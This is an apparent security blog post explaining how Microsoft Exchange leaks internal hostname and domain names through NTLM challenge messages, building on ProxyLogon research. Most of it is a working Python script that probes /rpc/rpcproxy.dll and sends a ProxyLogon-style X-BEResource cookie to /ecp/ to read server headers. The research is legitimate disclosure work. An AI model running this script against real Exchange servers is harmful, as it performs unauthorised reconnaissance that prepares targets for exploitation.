The NTLM Exchange.
Recently Orange Tsai discovered a great chain of bugs leading to remote code execution from an unauthenticated user in Microsoft Exchange which was widely named as Proxylogon (CVE-2021-26855). While reading the wonderful reproducing proxylogon exploit by Praetorian.
It was mentioned that sending an NTLM Negotiation Message via RPC over HTTP Exchange will return an NTLM challenge message which contains a number of AV_PAIR structures. I was quite interested in three of the AV_PAIR structures - notably, the MsvAVDnsComputerName
which contains the Fully Qualified Domain Name (FQDN) of the computer, MsvAVDnsDomainName
which contains the FQDN of the domain, and MsvAvDnsTreeName
which contains the FQDN of the forest.
I was able to parse the NTLM challenge using the amazing Impacket library.
I wrote the following script to send an NTLM Negotiation to the RPC over HTTP endpoint /rpc/rpcproxy.dll
and parsing the challenge to leak the previously mentioned AV_PAIR structures
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import os
import base64
from impacket import version
from impacket import ntlm, LOG
from impacket import *
import requests
import re
import sys
import string
import random
print(version.BANNER)
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def leak_info(url):
leak = url + "/rpc/rpcproxy.dll"
headers = {"User-Agent": "MSRPC", "Accept": "application/rpc", "Accept-Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "close"}
r = requests.get(leak, headers=headers, verify=False)
leak_headers = r.headers
print(leak_headers)
serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', str(leak_headers)).group(1)
serverChallenge = base64.b64decode(serverChallengeBase64)
# Parse NTLM Better..
challenge = ntlm.NTLMAuthChallenge(serverChallenge)
av_pairs = ntlm.AV_PAIRS(challenge['TargetInfoFields'])
hostname = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
domain_name = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
dns_domain = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
random_strings = id_generator(4) + ".js"
print("\nHostname: {0}\nDomainName: {1}\nDns_Domain: {2}\n".format(hostname, domain_name, dns_domain))
headers_2={"Cookie": "X-BEResource=localhost~1942062522"}
ct_data = requests.get("{0}/ecp/{1}".format(url, random_strings), headers=headers_2, verify=False)
print(ct_data.headers)
try:
FQDN = ct_data.headers["X-FEServer"]
except Exception as KeyError:
print("Seems to be wrong version..")
return 0
if FQDN == hostname:
print("FQDN & NTLM are the same..: {0}".format(FQDN))
else:
print("Seems to be differnet..{0}".format(FQDN))
if __name__ == '__main__':
if len(sys.argv) > 1:
leak_info(sys.argv[1])
else:
print("Please include a Exchange Server, Example: https://XXX.XXXX.XXX")
If anyone has any information why Exchange leaks this type of information. Id be happy to learn more, currently i believe it’s due to some backwards compabilty reasons.